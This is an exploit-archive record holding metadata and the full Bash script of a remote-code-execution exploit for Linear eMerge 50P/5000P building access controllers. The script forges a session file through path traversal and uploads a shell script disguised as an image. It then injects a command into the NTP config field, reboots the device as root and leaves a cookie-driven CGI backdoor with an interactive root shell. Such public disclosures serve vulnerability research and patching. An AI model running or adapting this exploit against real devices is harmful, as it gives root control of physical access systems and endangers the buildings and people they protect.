{"exploit":{"id":"EDB-47624","name":"eMerge50P 5000P 4.6.07 - Remote Code Execution (RCE)","description":"eMerge50P 5000P 4.6.07 - Remote Code Execution (RCE)","cves":["CVE-2019-7269"],"author":"LiquidWorm","published":"2019-11-12","platform":"cgi","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47624","path":"exploits/cgi/webapps/47624.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47624.sh","vulnerabilities":[{"id":"CVE-2019-7269","state":"PUBLISHED","title":null,"titleSource":null,"description":"Linear eMerge 50P/5000P devices allow Authenticated Command Injection with root Code Execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-7269","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-7269"},"updatedAt":"2024-08-04T20:46:46.172Z","retrievedAt":"2026-11-27T11:06:47.040Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47624.png?v=2","url":"https://exploitbin.com/exploits/EDB-47624","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47624/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47624/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n# Exploit Title: eMerge50P 5000P 4.6.07 - Remote Code Execution\n# Google Dork: NA\n# Date: 2018-11-11\n# Exploit Author: LiquidWorm\n# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/\n# Software Link: http://linear-solutions.com/nsc_family/e3-series/\n# Version: 4.6.07\n# Tested on: NA\n# CVE : CVE-2019-7269\n# Advisory: https://applied-risk.com/resources/ar-2019-009\n# Paper: https://applied-risk.com/resources/i-own-your-building-management-system\n# Advisory: https://applied-risk.com/resources/ar-2019-005\n\n# PoC:\n#\n# Full remote code execution exploit for the Linear eMerge50P/5000P 4.6.07\n# Including escalating to root privileges\n# CVE: CVE-2019-7266, CVE-2019-7267, CVE-2019-7268, CVE-2019-7269\n# Advisory: https://applied-risk.com/resources/ar-2019-006\n# Paper: https://applied-risk.com/resources/i-own-your-building-management-system\n#\n# This script is tested on macOS 10.13.6\n# by Sipke Mellema\n#\n# usage: ./sploit.sh http://target\n#\n##########################################################################\n#\n# $ ./sploit.sh http://192.168.1.1\n#\n#\n#\t   .         .         .         .         .\n#\t .          .         .          .          .\n#\t|          |Linear eMerge50 4.6.07|          |\n#\t|          |                      |          |\n#\t|          |Remote code executionz|          |\n#\t|          | With priv escalation |          |\n#\t|          |    Get yours today   |          |\n#\t|          |          |           |          |\n#\t|          |        Boomch        |          |\n#\t .          .         .          .          .\n#\t      .        .        .        .        .\n#\n#\n#\n# [*] Checking connection to the target..\n# [V] We can connect to the server\n# [*] Checking if already infected..\n# [V] Target not yet infected..\n# [*] Creating custom session file..\n# [*] Uploading custom session file..\n# [V] Session file active!\n# [*] Retrieving CSRF token..\n# [V] CSRF_TOKEN: AI1R5ebMTZXL8Vu6RyhcTuavuaEbZvy9\n# [*] Uploading file..\n# [V] File successfully uploaded\n# [*] Writing new config..\n# [V] Wrote new config, restarting device\n# [*] Looks good! Waiting for device to reboot..\n# [V] Executing: whoami..\n# [V] Username found: root\n# [*] Cleaning up uploaded files..\n# [*] Removing fake backup file..\n# [*] Removing shell script..\n# [*] Files removed\n#\n# [*] If that worked, you can how execute commands via your cookie\n# [*] The URL is: http://192.168.1.1/cgi-bin/websrunnings.cgi\n# [*] Or type commands below ('quit' to quit)\n#\n# root@http://192.168.1.1$ id\n# uid=0(root) gid=0(root) groups=0(root)\n# root@http://192.168.1.1$ quit\n#\n##########################################################################\n\nRED='\\033[0;31m'; BLUE='\\033[0;34m'; GREEN='\\033[0;32m'; NC='\\033[0m'\nBANNER=\"\n\\t   .         .         .         .         .\n\\t .          .         .          .          .\n\\t|          |${BLUE}Linear eMerge50 4.6.07${RED}|          |\n\\t|          |${BLUE}                      ${RED}|          |\n\\t|          |${BLUE}Remote code executionz${RED}|          |\n\\t|          |${BLUE} With priv escalation ${RED}|          |\n\\t|          |${BLUE}    Get yours today   ${RED}|          |\n\\t|          |${BLUE}          |           ${RED}|          |\n\\t|          |${BLUE}        Boomch        ${RED}|          |\n\\t .          .         .          .          .\n\\t      .        .        .        .        .\n${NC}\n\"\nprintf \"\\n${RED}${BANNER}\\n\\n\"\n\nfunction echo_green {\n  printf \"${GREEN}[*] $@${NC}\\n\"\n}\nfunction echo_blue  {\n  printf \"${BLUE}[V] $@${NC}\\n\"\n}\nfunction echo_red   {\n  printf \"${RED}[-] $@${NC}\\n\"\n}\n\nfunction show_usage {\n  echo -en \"Usage: ./sploit.sh\n\"\n}\n\n\n# check arguments\nif [ $# -eq 0 ]\n  then\n    echo_red \"Incorrect parameters\"\n    show_usage\n    exit\nfi\n\n\n# Define global paramters\nVULN_HOST=$1\nTEST_CMD=\"whoami\"\n\n# ========================= Vuln 2: Session ID allows path traversal\n# Path traversal to session file injected as backup file\nSESSION_ID=\"../web/upload/system/backup.upg\"\n\n\nfunction run_remote_shell {\n  # shell is in the context of the lower privileged user called s2user\n  # but the user has sudo rights\n  # ========================= Vuln 5: Webserver runs as root\n  TEST_CMD=''\n  while read -p \"${SPLOT_USERNAME}@${VULN_HOST}$ \" TEST_CMD && [ \"${TEST_CMD}\" != \"quit\" ] ; do\n    curl -s -k -H \"Cookie: sudo $TEST_CMD\" ${VULN_HOST}/cgi-bin/websrunnings.cgi\n    echo \"\"\n  done\n}\n\n# ========================= Pre-exploit checks\n\n# check connection\necho_green \"Checking connection to the target..\"\nRESULT=`curl -sL -w \"%{http_code}\\\\n\" ${VULN_HOST} -o /dev/null --connect-timeout 3 --max-time 5`\nif [ \"$RESULT\" != \"200\" ] ;\nthen\n   echo_red \"Could not connect to ${VULN_HOST} :(\" ;\n   exit\nfi\necho_blue \"We can connect to the server\"\n\n# check already infected\necho_green \"Checking if already infected..\"\nRESULT=`curl -sL -w \"%{http_code}\\\\n\" ${VULN_HOST}/cgi-bin/websrunnings.cgi -o /dev/null --connect-timeout 3 --max-time 5`\nif [ \"$RESULT\" == \"200\" ] ; then\n   echo_blue \"Target already seems to be infected\"\n   SPLOT_USERNAME=`curl -s -k -H \"Cookie: sudo whoami\" ${VULN_HOST}/cgi-bin/websrunnings.cgi`\n   echo_blue \"Username found: ${SPLOT_USERNAME}\"\n   read -p \"Try shell directly? (Y/N)\" TEST\n   if [ \"$TEST\" == \"Y\" ] ; then\n      echo_green \"Trying direct shell..\"\n      run_remote_shell\n      exit\n    fi\nelse\n   echo_blue \"Target not yet infected..\" ;\nfi\n\n\n\n# ========================= Vuln 1: Sys update CGI script allows unauthenticated upg-file upload\n# Used to create file with the contents of a valid session file\n# Session file required a timestamp from < 3600 seconds ago\n# And a valid (remote) IP address\n\necho_green \"Creating custom session file..\"\n# binary session file\nSESS_FILE_BIN_PRE=\"MzEzMzc4MDA4NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTeXN0ZW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEFkbWluaXN0cmF0b3IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWRtaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\nSESS_FILE_BIN_POST=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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up.upg\nprintf $SESS_FILE_BIN_POST | base64 -D >> backup.upg\n# replace timestamp\npython -c \"import struct,time,sys; sys.stdout.write(struct.pack('<i',int(time.time()+(3600*5))))\" | dd of=backup.upg bs=1 seek=1080 count=4 conv=notrunc 2> /dev/null\n# upload session as backup file\necho_green \"Uploading custom session file..\"\ncurl -s -F upload=@backup.upg ${VULN_HOST}/cgi-bin/uplsysupdate.cgi\n\n# check if session file works\nRESULT=`curl -s -w \"%{http_code}\\\\n\" --cookie \".sessionId=$SESSION_ID\" ${VULN_HOST}/goform/foo -o /dev/null --connect-timeout 3 --max-time 5`\nif [ \"$RESULT\" != \"200\" ] ; then\n   echo_red \"Creating session file didn't seem to work :(\" ;\n   exit\nfi\necho_blue \"Session file active!\"\n\n\n\n# ========================= Vuln 3: Image upload allows any file contents\n# We use it to upload a shell script\n# It will be run as root on startup\n\n# get csrf token\necho_green \"Retrieving CSRF token..\"\nCSRF_TOKEN=`curl -s --cookie \".sessionId=$SESSION_ID\" ${VULN_HOST}/frameset/ | grep -E -o 'csrft           = \"(.*)\"' | awk -F '\"' '{print $2}'`\necho_blue \"CSRF_TOKEN: $CSRF_TOKEN\"\n\nif [ -z \"$CSRF_TOKEN\" ]; then\n  echo_red \"Could not get CSRF token :(\"\n  exit\nfi\n\n# prepare file\n# this will run as root\necho \"cp /usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websrunnings.cgi\" > shell.jpg\necho 'sed -i '\"'\"'s/echo \"OK\"/A=\\`\\$HTTP_COOKIE\\`;printf \"\\$A\"/'\"'\"' /usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg\n\n# upload file\necho_green \"Uploading file..\"\nRESULT=`curl -s --cookie \".sessionId=$SESSION_ID\" \\\n  -F \"csrft=$CSRF_TOKEN\" \\\n  -F \"person=31337\" \\\n  -F \"file=@shell.jpg\" \\\n  ${VULN_HOST}/person/upload/ | grep -o \"File successfully uploaded\"`\necho_blue $RESULT\n\nif [[ ! \"$RESULT\" =~ \"successfully\" ]]; then\n  echo_red \"Could not upload file :(\"\n  exit\nfi\n\n\n\n# ========================= Vuln 4: Config allows command injection\n# Length is limited\n# Also, no spaces allowed\n\n# change config\n# the file in the config file will be run as root at startup\necho_green \"Writing new config..\"\ncurl -s ${VULN_HOST}/goform/saveS2ConfVals --cookie \".sessionId=$SESSION_ID\" --data \"timeserver1=a.a%24%28bash%3C%2Fusr%2Flocal%2Fs2%2Fweb%2Fupload%2Fpics%2Fshell.jpg%29&timeserver2=&timeserver3=&timezone=America%2FChicago&save=Save&urlOk=cfgntp.asp&urlError=cfgntp.asp&okpage=cfgntp.asp\" > /dev/null\necho_blue \"Wrote new config, restarting device\"\n\n# restart device\nRESULT=`curl -s --cookie \".sessionId=$SESSION_ID\" ${VULN_HOST}/goform/restarts2Conf --data \"changeNetwork=1\" | grep -o \"The proxy server could not handle the request\"`\n# this is supposed to get returned (device rebooting)\nif [[ \"$RESULT\" =~ \"could not handle the request\" ]]; then\n  echo_green \"Looks good! Waiting for device to reboot..\"\n  sleep 20\n  echo_blue \"Executing: whoami..\"\n  SPLOT_USERNAME=`curl -s -k -H \"Cookie: sudo whoami\" ${VULN_HOST}/cgi-bin/websrunnings.cgi`\n  echo_blue \"Username found: ${SPLOT_USERNAME}\"\n\n  # cleanup\n  echo_green \"Cleaning up uploaded files..\"\n  echo_green \"Removing fake backup file..\"\n  RESULT=`curl -s -k -H \"Cookie: sudo rm /usr/local/s2/web/upload/system/backup.upg\" ${VULN_HOST}/cgi-bin/websrunnings.cgi`\n  echo_green \"Removing shell script..\"\n  RESULT=`curl -s -k -H \"Cookie: sudo rm /usr/local/s2/web/upload/pics/shell.jpg\" ${VULN_HOST}/cgi-bin/websrunnings.cgi`\n  echo_green \"Files removed\"\n\n  # start shell\n  echo \"\"\n  echo_green \"If that worked, you can now execute commands via your cookie\"\n  echo_green \"The URL is: ${VULN_HOST}/cgi-bin/websrunnings.cgi\"\n  echo_green \"Or type commands below ('quit' to quit)\"\n  echo \"\"\n\n  run_remote_shell\n\nelse\n    echo_red \"Exploit failed :(\"\nfi\n\nexit","sha256":"31a49ebdf5208c6899e4abf9692451420b6f426906d089945e059654027696ef","bytes":10936,"fetchedAt":"2026-11-27T11:06:42.351Z","encoding":"utf-8 (display only; download retains original bytes)"}